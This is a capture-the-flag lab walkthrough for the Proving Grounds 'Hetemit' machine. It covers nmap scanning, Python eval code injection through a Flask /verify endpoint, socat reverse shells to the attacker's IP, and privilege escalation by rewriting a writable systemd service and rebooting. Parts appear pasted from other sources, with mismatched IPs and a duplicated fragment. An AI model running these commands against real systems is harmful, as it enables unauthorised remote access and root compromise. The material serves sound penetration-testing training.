

Hetemit(Linux)

<https://routezero.security/2024/11/14/proving-grounds-practice-hetemit-walkthrough/>

<https://medium.com/@Dpsypher/proving-grounds-practice-hetemit-a66be76a6503>

Hetemit 



Play

Lab Description

Learning Objectives



About this lab

To exploit this lab, you will target a custom API endpoint and a dangerous Python module, followed by privilege escalation through write permissions on a service file. This lab enhances your skills in API exploitation and misconfiguration abuse for privilege escalation.

Scan the ip

```
nmap -sS -sV -sC -A -T5 -p- -Pn 192.168.176.117
```

```

PORT      STATE SERVICE      VERSION
21/tcp    open  ftp          vsftpd 3.0.3
ftp-syst:
STAT:
FTP server status:
  Connected to 192.168.45.196
  Logged in as ftp
  TYPE: ASCII
  No session bandwidth limit
  Session timeout in seconds is 300
  Control connection is plain text
  Data connections will be plain text
  At session startup, client count was 1
  vsftpd 3.0.3 - secure, fast, stable
End of status
ftp-anon: Anonymous FTP login allowed (FTP code 230)
Can't get directory listing: TIMEOUT
22/tcp    open  ssh          OpenSSH 8.0 (protocol 2.0)
ssh-hostkey:
  3072 b1:e2:9d:f1:f8:10:db:a5:aa:5a:22:94:e8:92:61:65 (RSA)
  256 74:dd:fa:f2:51:dd:74:38:2b:b2:ec:82:e5:91:82:28 (ECDSA)
  256 48:bc:9d:eb:bd:4d:ac:b3:0b:5d:67:da:56:54:2b:a0 (ED25519)
80/tcp    open  http         Apache httpd 2.4.37 ((centos))
http-methods:
  Potentially risky methods: TRACE
http-title: CentOS \xE6\x8F\x90\xE4\xBE\x9B\xE7\x9A\x84 Apache HTTP \xE6\x9C\x8D\xE5\x8A\xA1\xE5\x99\xA8\xE6\xB5\x8B\xE8\xAF\x95\xE9\xA1\xB5
http-server-header: Apache/2.4.37 (centos)
139/tcp   open  netbios-ssn  Samba smbd 4
445/tcp   open  netbios-ssn  Samba smbd 4
18000/tcp open  blimenu?
fingerprint-strings:
  GenericLines:
    HTTP/1.1 400 Bad Request
  GetRequest, HTTPOptions:
    HTTP/1.0 403 Forbidden
    Content-Type: text/html; charset=UTF-8
    Content-Length: 3102
    <!DOCTYPE html>
    <html lang="en">
    <head>
    <meta charset="utf-8" />

```

```

50000/tcp open  http         Werkzeug httpd 1.0.1 (Python 3.6.8)
http-server-header: Werkzeug/1.0.1 Python/3.6.8
http-title: Site doesn't have a title (text/html; charset=utf-8).
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?f=print-service:
SF-Port18000-TCP:V=7.95%I=7%D=11/9%Time=6911353A%P=x86_64-pc-linux-gnu%r(G
SF:enericlines,1C,"HTTP/1.1\x20400\x20Bad\x20Request\r\n\r\n")%r(GetReque
SF:st,C76,"HTTP/1.0\x20403\x20Forbidden\r\n\r\nContent-Type:\x20text/html;\x2
SF:0charset=UTF-8\r\n\r\nContent-Length:\x203102\r\n\r\n<!DOCTYPE\x20html>\n<h
SF:tml\x20lang=\x20en">\n<head>\n\x20\x20meta\x20charset=\x20utf-8\x20/>\n
SF:\x20\x20<title>Action\x20Controller:\x20Exception\x20caught</title>\n\x
SF:20\x20<style>\n\x20\x20\x20\x20body\x20{\n\x20\x20\x20\x20\x20\x20backg
SF:round-color:\x20#FAFAFA;\n\x20\x20\x20\x20\x20color:\x20#333;\n\x20
SF:\x20\x20\x20\x20\x20margin:\x200px;\n\x20\x20\x20\x20\x20}\n\x20\x20\x20

```

```

Host script results:
smb2-security-mode:
  3:1:1:
    Message signing enabled but not required
smb2-time:
  date: 2025-11-10T00:43:48
  start_date: N/A

TRACEROUTE (using port 21/tcp)
HOP RTT ADDRESS
1 30.07 ms 192.168.45.1
2 29.99 ms 192.168.45.254
3 30.36 ms 192.168.251.1
4 30.42 ms 192.168.176.117

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 110.27 seconds

```

Web Enumeration

Now we take a closer look at the applications on ports 18000 and 50000. The application on port 18000 gives us a standard web page, and while it looks harmless, we know better than to take appearances at face value.

```
curl http://192.168.176.117:18000
```

```
(root@kali)-[~]
└─# curl http://192.168.176.117:18000
<!DOCTYPE HTML>
<html>
  <head>
    <title>Eventually by HTML5 UP</title>
    <meta charset="utf-8" />
    <meta name="viewport" content="width=device-width, initial-scale=1, user-scalable=no" />
    <meta name="csrf-param" content="authenticity_token" />
    <meta name="csrf-token" content="jL6nhMzC+dRgkQXTuEUWN86rU9FcSRK2q8E9W4PtdF28GBaiZUEzYj2sYzoTesTjXHDPCroZ+rTks0JvFyZrQ==" />

    <link rel="stylesheet" media="all" href="/assets/application.debug-70021355fe5dd683159dbfbbb3bb778e61ab59fd1051a083e099965eb00f5f62.css" data-turbolinks-track="reload" />

  </head>
  <body class="is-preload">
    <!-- Header -->
    <header id="header">
      <h1>Protomba</h1>
      <p>Making the world a better place</p>
    </header>

    <p>Protomba is more than just a random Idea. <br>
    Blockchain, Shopping and Community are just a few characteristic of Protomba. But we offer a lot more!</p>
  </body>
</html>
```

The application on port **50000** hosts an API with endpoints that seem to generate and verify invite codes, possibly a ticket to deeper access.

```
curl http://192.168.176.117:50000/
```

```
curl http://192.168.176.117:50000/generate
```

```
curl http://192.168.176.117:50000/verify
```

```
(root@kali)-[~]
└─# curl http://192.168.176.117:50000/
{'/generate', '/verify'}

(root@kali)-[~]
└─# curl http://192.168.176.117:50000/generate
{'email@domain'}

(root@kali)-[~]
└─# curl http://192.168.176.117:50000/verify
{'code'}
```

The application running on port **18000** requires an invite code for registration, and we'll need to make a **POST /generate** request to the API on port **50000** to get one. The earlier response clues us in that an email is required.

```
curl -X POST --data "email=test@testing" http://192.168.176.117:50000/generate
```

```
(root@kali)-[~]
# curl -X POST --data "email=test@testing" http://192.168.176.117:50000/generate
5a81d05b8969fd1f156969da357bcd7f9bf0430c90035f017c88f9b5249b3e9e
```

With this invite code, we register with the main application, only to find a dead end. But it's not game over yet—further poking around reveals odd behavior in the `verify` endpoint on port `50000`:

```
curl -X POST --data "code=code" http://192.168.176.117:50000/verify
```

```
(root@kali)-[~]
# curl -X POST --data "code=code" http://192.168.176.117:50000/verify
code
```

An attempt to validate the invite code reveals a familiar and ominous error:

```
curl -X POST --data "code=5a81d05b8969fd1f156969da357bcd7f9bf0430c90035f017c88f9b5249b3e9e"
http://192.168.176.117:50000/verify
```

```
(root@kali)-[~]
# curl -X POST --data "code=5a81d05b8969fd1f156969da357bcd7f9bf0430c90035f017c88f9b5249b3e9e" http://192.168.176.117:50000/verify
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<title>500 Internal Server Error</title>
<h1>Internal Server Error</h1>
<p>The server encountered an internal error and was unable to complete your request. Either the server is overloaded or there is an error in the application.</p>
```

Testing with some basic arithmetic shows something strange: the application evaluates the code.

```
curl -X POST --data "code=2*2" http://192.168.176.117:50000/verify
```

```
(root@kali)-[~]
# curl -X POST --data "code=2*2" http://192.168.176.117:50000/verify
4
```

Exploitation

Knowing the server runs `Python/3.6.8` (thanks, `nmap`), we decide to try the powerful but dangerous `os` module.

```
curl -X POST --data "code=os" http://192.168.176.117:50000/verify
```

```
(root@kali)-[~]  
# curl -X POST --data "code=os" http://192.168.176.117:50000/verify  
<module 'os' from '/usr/lib64/python3.6/os.py'>
```

With `os` access confirmed, it's time for a reverse shell. We set up a listener.

```
curl -X POST --data "code=os.system('socat TCP:192.168.45.196:80 EXEC:sh')"  
http://192.168.176.117:50000/verify
```

got the initial access

```
(root@kali)-[~]  
# rlwrap nc -lvnp 80  
listening on [any] 80 ...  
connect to [192.168.45.196] from (UNKNOWN) [192.168.176.117] 53176
```

```
python3 -c 'import pty; pty.spawn("/bin/bash")'
```

```
(root@kali)-[~]  
# rlwrap nc -lvnp 80  
listening on [any] 80 ...  
connect to [192.168.45.196] from (UNKNOWN) [192.168.176.117] 53176  
python3 -c 'import pty; pty.spawn("/bin/bash")'  
[cmeeks@hetemit restjson_hetemit]$
```

Local.txt

```

[cmeeks@hetemit restjson_hetemit]$ ls
ls
app.py __pycache__
[cmeeks@hetemit restjson_hetemit]$ cd ..
cd ..
[cmeeks@hetemit ~]$ ls
ls
local.txt register_hetemit restjson_hetemit share
[cmeeks@hetemit ~]$ cat local.txt
cat local.txt
653d861ed8bde91f5ba6685044676516
[cmeeks@hetemit ~]$

```

Privilege Escalation

Enumeration

With our foothold established, the next step is privilege escalation. First, we search for writable configuration files.

```
find /etc -type f -writable 2> /dev/null
```

```

[cmeeks@hetemit restjson_hetemit]$ find /etc -type f -writable 2> /dev/null
find /etc -type f -writable 2> /dev/null
/etc/systemd/system/pythonapp.service
[cmeeks@hetemit restjson_hetemit]$

```

The writable **pythonapp.service** file suggests a system service configuration. Checking our `sudo` privileges, we see a useful misconfiguration:

```

/etc/systemd/system/pythonapp.service
[cmeeks@hetemit restjson_hetemit]$ sudo -l
sudo -l
Matching Defaults entries for cmeeks on hetemit:
!visiblepw, always_set_home, match_group_by_gid, always_query_group_plugin,
env_reset, env_keep="COLORS DISPLAY HOSTNAME HISTSIZE KDEDIR LS_COLORS",
env_keep+="MAIL PS1 PS2 QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE",
env_keep+="LC_COLLATE LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES",
env_keep+="LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONE",
env_keep+="LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY",
secure_path=/sbin\:bin\:usr/sbin\:usr/bin

User cmeeks may run the following commands on hetemit:
(root) NOPASSWD: /sbin/halt, /sbin/reboot, /sbin/poweroff
[cmeeks@hetemit restjson_hetemit]$

```

This grants us the ability to reboot and shut down the machine as root—convenient for applying our service file modification.

Modifying the Service File

Inspecting the contents of **pythonapp.service**, we see an opportunity for escalation.

```
cat /etc/systemd/system/pythonapp.service
```

```

[cmeeks@hetemit restjson_hetemit]$ cat /etc/systemd/system/pythonapp.service
cat /etc/systemd/system/pythonapp.service
[Unit]
Description=Python App
After=network-online.target

[Service]
Type=simple
WorkingDirectory=/home/cmeeks/restjson_hetemit
ExecStart=flask run -h 0.0.0.0 -p 50000
TimeoutSec=30
RestartSec=15s
User=cmeeks
ExecReload=/bin/kill -USR1 $MAINPID
Restart=on-failure

[Install]
WantedBy=multi-user.target
[cmeeks@hetemit restjson_hetemit]$

```

We modify the **ExecStart** and **User** lines to create a new service that runs a root shell. We also remove the **WorkingDirectory** line to simplify things.

We modify the ExecStart and User lines to create a new service that runs a root shell. We also remove the WorkingDirectory line to simplify things.

```
[cmeeks@hetemit ~]$ cat <<'EOT'>
/etc/systemd/system/pythonapp.service
[Unit]
Description=Python App
After=network-online.target

[Service]
Type=simple
ExecStart=/home/cmeeks/reverse.sh
TimeoutSec=30
RestartSec=15s
User=root
ExecReload=/bin/kill -USR1 $MAINPID
Restart=on-failure

[Install]
WantedBy=multi-user.target
EOT
```

Next, we create the reverse shell script **reverse.sh**.

```
[cmeeks@hetemit ~]$ cat <<'EOT'> /home/cmeeks/reverse.sh
#!/bin/bash
socat TCP:192.168.13.37:1337 EXEC:sh
EOT

[cmeeks@hetemit ~]$ chmod +x /home/cmeeks/reverse.sh
```

here my ip and port

```
[Unit]
Description=Python App
After=network-online.target

[Service]
Type=simple
ExecStart=/home/cmeeks/reverse.sh
```


TimeoutSec=30
RestartSec=15s
User=root
ExecReload=/bin/kill -USR1 \$MAINPID
Restart=on-failure

[Install]
WantedBy=multi-user.target
EOT

Now we restart our listener on port 1337 and initiate a reboot to activate our modified service.

```
[cmeeks@hetemit ~]$ sudo reboot
```

When the machine boots, our listener captures a root shell:

```
richie@kali:~$ nc -nlvp 1337
listening on [any] 1337 ...
connect to [192.168.13.37] from (UNKNOWN) [192.168.121.36] 57890
python3 -c 'import pty; pty.spawn("/bin/bash")'
[root@hetemit /]# whoami
root
```

And there we have it. We've escalated to root and seized control.